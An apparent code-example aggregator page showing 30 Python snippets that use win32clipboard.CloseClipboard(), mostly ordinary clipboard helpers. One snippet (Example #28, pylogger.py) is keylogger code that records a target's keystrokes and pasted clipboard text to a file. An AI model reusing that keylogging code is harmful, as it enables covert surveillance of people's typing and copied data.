Python win32clipboard.CloseClipboard() Examples

The following are 30 code examples of win32clipboard.CloseClipboard(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module win32clipboard , or try the search function .
Example #1
Source File: interact.py    From ironpython2 with Apache License 2.0 7 votes vote down vote up
def OnEditCopyCode(self, command, code):
		""" Sanitizes code from interactive window, removing prompts and output,
			and inserts it in the clipboard."""
		code=self.GetSelText()
		lines=code.splitlines()
		out_lines=[]
		for line in lines:
			if line.startswith(sys.ps1):
				line=line[len(sys.ps1):]
				out_lines.append(line)
			elif line.startswith(sys.ps2):
				line=line[len(sys.ps2):]
				out_lines.append(line)
		out_code=os.linesep.join(out_lines)
		win32clipboard.OpenClipboard()
		try:
			win32clipboard.SetClipboardData(win32clipboard.CF_UNICODETEXT, unicode(out_code))
		finally:
			win32clipboard.CloseClipboard() 
Example #2
Source File: clipboard.py    From code with MIT License 7 votes vote down vote up
def put(data):
    if sys.platform == "win32":
        import win32clipboard as clip
        clip.OpenClipboard()
        clip.EmptyClipboard()
        clip.SetClipboardText(data, clip.CF_UNICODETEXT)
        clip.CloseClipboard()
    elif sys.platform.startswith("linux"):
        import subprocess
        proc = subprocess.Popen(("xsel", "-i", "-b", "-l", "/dev/null"),
                                stdin=subprocess.PIPE)
        proc.stdin.write(data.encode("utf-8"))
        proc.stdin.close()
        proc.wait()
    else:
        raise RuntimeError("Unsupported platform") 
Example #3
Source File: clipboard.py    From dragonfly with GNU Lesser General Public License v3.0 6 votes vote down vote up
def copy_to_system(self, clear=True):
        """
            Copy the contents of this instance into the Windows system
            clipboard.

            Arguments:
             - *clear* (boolean, default: True) -- if true, the Windows
               system clipboard will be cleared before this instance's
               contents are transferred.

        """
        win32clipboard.OpenClipboard()
        try:
            # Clear the system clipboard, if requested.
            if clear:
                win32clipboard.EmptyClipboard()

            # Transfer content to Windows system clipboard.
            for format, content in self._contents.items():
                win32clipboard.SetClipboardData(format, content)

        finally:
            win32clipboard.CloseClipboard() 
Example #4
Source File: testClipboard.py    From ironpython2 with Apache License 2.0 6 votes vote down vote up
def testWin32ToCom(self):
        # Set the data via the std win32 clipboard functions.
        val = str2bytes("Hello again!") # ensure always bytes, even in py3k
        win32clipboard.OpenClipboard()
        win32clipboard.SetClipboardData(win32con.CF_TEXT, val)
        win32clipboard.CloseClipboard()
        # and get it via an IDataObject provided by COM
        do = pythoncom.OleGetClipboard()
        cf = win32con.CF_TEXT, None, pythoncom.DVASPECT_CONTENT, -1, pythoncom.TYMED_HGLOBAL
        stg = do.GetData(cf)
        got = stg.data
        # The data we get back has the \0, as our STGMEDIUM has no way of 
        # knowing if it meant to be a string, or a binary buffer, so
        # it must return it too.
        self.failUnlessEqual(got, str2bytes("Hello again!\0")) 
Example #5
Source File: cmd2plus.py    From OpenTrader with GNU Lesser General Public License v3.0 6 votes vote down vote up
def get_paste_buffer():
            win32clipboard.OpenClipboard(0)
            try:
                result = win32clipboard.GetClipboardData()
            except TypeError:
                result = ''  #non-text
            win32clipboard.CloseClipboard()
            return result 
Example #6
Source File: profiling_tools.py    From pyxll-examples with The Unlicense 6 votes vote down vote up
def stop_line_profiler():
    """Stops the line profiler and prints the results"""
    global _active_line_profiler
    if not _active_line_profiler:
        return

    stream = StringIO()
    _active_line_profiler.print_stats(stream=stream)
    _active_line_profiler = None

    # print the results to the log
    print(stream.getvalue())

    # and copy to the clipboard
    win32clipboard.OpenClipboard()
    win32clipboard.EmptyClipboard()
    win32clipboard.SetClipboardText(stream.getvalue())
    win32clipboard.CloseClipboard()

    xlcAlert("Line Profiler Stopped\n"
             "Results have been written to the log and clipboard.") 
Example #7
Source File: clipboard.py    From dragonfly with GNU Lesser General Public License v3.0 6 votes vote down vote up
def copy_to_system(self, clear=True):
        """
            Copy the contents of this instance into the Windows system
            clipboard.

            Arguments:
             - *clear* (boolean, default: True) -- if true, the Windows
               system clipboard will be cleared before this instance's
               contents are transferred.

        """
        win32clipboard.OpenClipboard()
        try:
            # Clear the system clipboard, if requested.
            if clear:
                win32clipboard.EmptyClipboard()

            # Transfer content to Windows system clipboard.
            for format, content in self._contents.items():
                win32clipboard.SetClipboardData(format, content)

        finally:
            win32clipboard.CloseClipboard() 
Example #8
Source File: screencap.py    From ATX with Apache License 2.0 5 votes vote down vote up
def main(host=None, port=None, serial=None, scale=1.0, out='screenshot.png', method='minicap'):
    """
    If minicap not avaliable then use uiautomator instead

    Disable scale for now.
    Because -s scale is conflict of -s serial
    """
    print('Started screencap')
    start = time.time()

    client = adbkit.Client(host=host, port=port)
    device = client.device(serial)
    im = device.screenshot(scale=scale)
    im.save(out)
    print('Time spend: %.2fs' % (time.time() - start))
    print('File saved to "%s"' % out)

    try:
        import win32clipboard

        output = StringIO()
        im.convert("RGB").save(output, "BMP")
        data = output.getvalue()[14:]
        output.close()

        win32clipboard.OpenClipboard()
        win32clipboard.EmptyClipboard()
        win32clipboard.SetClipboardData(win32clipboard.CF_DIB, data)
        win32clipboard.CloseClipboard()
        print('Copied to clipboard')
    except:
        pass # ignore 
Example #9
Source File: clipboard.py    From dragonfly with GNU Lesser General Public License v3.0 5 votes vote down vote up
def set_system_text(cls, content):
        content = unicode(content)
        win32clipboard.OpenClipboard()
        try:
            win32clipboard.EmptyClipboard()
            win32clipboard.SetClipboardData(cls.format_unicode, content)
        finally:
            win32clipboard.CloseClipboard()


    #----------------------------------------------------------------------- 
Example #10
Source File: recipe-576887.py    From code with MIT License 5 votes vote down vote up
def closeClipboard():
        try:
            win32clipboard.CloseClipboard()
        except Exception, e:
            print e
            pass 
Example #11
Source File: release_puppet_unity_ths.py    From puppet with MIT License 5 votes vote down vote up
def get_data():
    sleep(0.3)    # 秒数关系到是否能复制成功。
    op.keybd_event(17, 0, 0, 0)
    op.keybd_event(67, 0, 0, 0)
    sleep(0.1)    # 没有这个就复制失败
    op.keybd_event(67, 0, 2, 0)
    op.keybd_event(17, 0, 2, 0)
    
    cp.OpenClipboard(None)
    raw = cp.GetClipboardData(13)
    data = raw.split()
    cp.CloseClipboard()
    return data 
Example #12
Source File: cmd2.py    From PocHunter with MIT License 5 votes vote down vote up
def get_paste_buffer():
            win32clipboard.OpenClipboard(0)
            try:
                result = win32clipboard.GetClipboardData()
            except TypeError:
                result = ''  #non-text
            win32clipboard.CloseClipboard()
            return result 
Example #13
Source File: cmd2.py    From PocHunter with MIT License 5 votes vote down vote up
def write_to_paste_buffer(txt):
            win32clipboard.OpenClipboard(0)
            win32clipboard.EmptyClipboard()
            win32clipboard.SetClipboardText(txt)
            win32clipboard.CloseClipboard() 
Example #14
Source File: profiling_tools.py    From pyxll-examples with The Unlicense 5 votes vote down vote up
def stop_profiling():
    """Stop the cProfile profiler and print the results"""
    global _active_cprofiler
    if not _active_cprofiler:
        xlcAlert("No active profiler")
        return

    _active_cprofiler.disable()

    # print the profiler stats
    stream = StringIO()
    stats = pstats.Stats(_active_cprofiler, stream=stream).sort_stats("cumulative")
    stats.print_stats()

    # print the results to the log
    print(stream.getvalue())

    # and copy to the clipboard
    win32clipboard.OpenClipboard()
    win32clipboard.EmptyClipboard()
    win32clipboard.SetClipboardText(stream.getvalue())
    win32clipboard.CloseClipboard()

    _active_cprofiler = None

    xlcAlert("cProfiler Stopped\n"
             "Results have been written to the log and clipboard.")


# Current active line profiler 
Example #15
Source File: clipboard.py    From cross3d with MIT License 5 votes vote down vote up
def setText( self, text ):
		"""
			\remarks	Sets the text hold by the clipboarc.
			\param		text <string>
			\return		<bool> success
		"""
		import win32clipboard
		win32clipboard.OpenClipboard()
		win32clipboard.SetClipboardText( text )
		win32clipboard.CloseClipboard()
		return True 
Example #16
Source File: cmd2.py    From ZEROScan with MIT License 5 votes vote down vote up
def get_paste_buffer():
            win32clipboard.OpenClipboard(0)
            try:
                result = win32clipboard.GetClipboardData()
            except TypeError:
                result = ''  #non-text
            win32clipboard.CloseClipboard()
            return result 
Example #17
Source File: cmd2.py    From ZEROScan with MIT License 5 votes vote down vote up
def write_to_paste_buffer(txt):
            win32clipboard.OpenClipboard(0)
            win32clipboard.EmptyClipboard()
            win32clipboard.SetClipboardText(txt)
            win32clipboard.CloseClipboard() 
Example #18
Source File: mem.py    From Fastir_Collector with GNU General Public License v3.0 5 votes vote down vote up
def __get_clipboard(self):
        self.logger.info('Getting clipboard contents')
        list_to_csv = [("COMPUTER_NAME", "TYPE", "DATA")]
        r = None
        try:
            r = Tk()  # Using Tk instead because it supports exotic characters
            data = r.selection_get(selection='CLIPBOARD')
            r.destroy()
            list_to_csv.append((self.computer_name, 'clipboard', unicode(data)))
        except:
            if r:  # Verify that r exists before calling destroy
                r.destroy()
            win32clipboard.OpenClipboard()
            clip = win32clipboard.EnumClipboardFormats(0)
            while clip:
                try:
                    format_name = win32clipboard.GetClipboardFormatName(clip)
                except win32api.error:
                    format_name = "?"
                self.logger.info('format ' + unicode(clip) + ' ' + unicode(format_name))
                if clip == 15:  # 15 seems to be a list of filenames
                    filenames = win32clipboard.GetClipboardData(clip)
                    for filename in filenames:
                        list_to_csv.append((self.computer_name, 'clipboard', filename))
                clip = win32clipboard.EnumClipboardFormats(clip)
            win32clipboard.CloseClipboard()
        return list_to_csv 
Example #19
Source File: __init__.py    From pyrexecd with MIT License 5 votes vote down vote up
def _clipget(self):
        win32clipboard.OpenClipboard(self.app.hwnd)
        try:
            text = win32clipboard.GetClipboardData(win32con.CF_UNICODETEXT)
            self.logger.debug('text=%r' % text)
            self.chan.send(text.encode(self.server.codec))
        except TypeError:
            self.logger.error('No clipboard text.')
        win32clipboard.CloseClipboard()
        return 
Example #20
Source File: __init__.py    From pyrexecd with MIT License 5 votes vote down vote up
def recv(self, data):
            try:
                text = data.decode(self.session.server.codec)
                win32clipboard.OpenClipboard(self.session.app.hwnd)
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(text)
                win32clipboard.CloseClipboard()
            except UnicodeError:
                self.error('encoding error')
            except pywintypes.error as e:
                self.error('error: %r' % e)
            return 
Example #21
Source File: winguiauto.py    From pyAutoTrading with GNU General Public License v2.0 5 votes vote down vote up
def _getContentsFromClipboard():
    win32clipboard.OpenClipboard()
    content = win32clipboard.GetClipboardData()
    win32clipboard.CloseClipboard()
    return content 
Example #22
Source File: clipboard.py    From dragonfly with GNU Lesser General Public License v3.0 5 votes vote down vote up
def get_system_text(cls):
        win32clipboard.OpenClipboard()
        try:
            content = win32clipboard.GetClipboardData(cls.format_unicode)
        finally:
            win32clipboard.CloseClipboard()
        return content 
Example #23
Source File: clipboard.py    From code with MIT License 5 votes vote down vote up
def get():
    if sys.platform == "win32":
        import win32clipboard as clip
        clip.OpenClipboard()
        # TODO: what type does this return?
        data = clip.GetClipboardData(clip.CF_UNICODETEXT)
        #print("clipboard.get =", repr(data))
        clip.CloseClipboard()
        return data
    else:
        raise RuntimeError("Unsupported platform") 
Example #24
Source File: softimageapplication.py    From cross3d with MIT License 5 votes vote down vote up
def clipboardCopyText(self, text):
		""" Set the provided text to the system clipboard so it can be pasted
		
		This function is used because QApplication.clipboard sometimes deadlocks in some
		applications like XSI.
		
		Args:
			text (str): Set the text in the paste buffer to this text.
		"""
		import win32clipboard
		win32clipboard.OpenClipboard()
		win32clipboard.EmptyClipboard()
		win32clipboard.SetClipboardText(text)
		win32clipboard.CloseClipboard() 
Example #25
Source File: clipboard.py    From cross3d with MIT License 5 votes vote down vote up
def text( self ):
		"""
			\remarks	Returns the text hold in the clipboard.
			\return		<string> text
		"""
		import win32clipboard
		try:
			win32clipboard.OpenClipboard()
			value = win32clipboard.GetClipboardData( win32clipboard.CF_TEXT )
			win32clipboard.CloseClipboard()
		except:
			value = ''
		return value 
Example #26
Source File: clipboard.py    From cross3d with MIT License 5 votes vote down vote up
def clear( self ):
		"""
			\remarks	Deletes the content of the clipboard.
			\return		<bool> success
		"""
		import win32clipboard
		win32clipboard.OpenClipboard()
		win32clipboard.EmptyClipboard()
		win32clipboard.CloseClipboard()
		return True 
Example #27
Source File: _repeat.py    From dragonfly-commands with GNU Lesser General Public License v3.0 5 votes vote down vote up
def _execute(self, data=None):
        win32clipboard.OpenClipboard()
        data = win32clipboard.GetClipboardData()
        win32clipboard.CloseClipboard()
        print("Opening link: %s" % data)
        webbrowser.open(data) 
Example #28
Source File: pylogger.py    From pylogger with MIT License 5 votes vote down vote up
def KeyStroke(event):

    global current_window   

    # check to see if target changed windows
    if event.WindowName != current_window:
        current_window = event.WindowName        
        get_current_process()

    # if they pressed a standard key
    if event.Ascii > 32 and event.Ascii < 127:
        print chr(event.Ascii),
        checkTriggers(chr(event.Ascii))
        writeToFile(chr(event.Ascii))
    else:
        # if [Ctrl-V], get the value on the clipboard
        # added by Dan Frisch 2014
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            if (len(pasted_value) < paste_limit):
                print "[PASTE] - %s" % (pasted_value),
                writeToFile("[PASTE] - %s" % (pasted_value))
        else:
            print "[%s]" % event.Key,
            writeToFile("[%s]" % event.Key)

    # pass execution to next hook registered 
    return True

#This gets the current process, so that we can display it on the log 
Example #29
Source File: clipboard.py    From dragonfly with GNU Lesser General Public License v3.0 5 votes vote down vote up
def clear_clipboard(cls):
        win32clipboard.OpenClipboard()
        try:
            win32clipboard.EmptyClipboard()
        finally:
            win32clipboard.CloseClipboard()

    #----------------------------------------------------------------------- 
Example #30
Source File: clipboard.py    From dragonfly with GNU Lesser General Public License v3.0 5 votes vote down vote up
def set_system_text(cls, content):
        content = text_type(content)
        win32clipboard.OpenClipboard()
        try:
            win32clipboard.EmptyClipboard()
            win32clipboard.SetClipboardData(cls.format_unicode, content)
        finally:
            win32clipboard.CloseClipboard()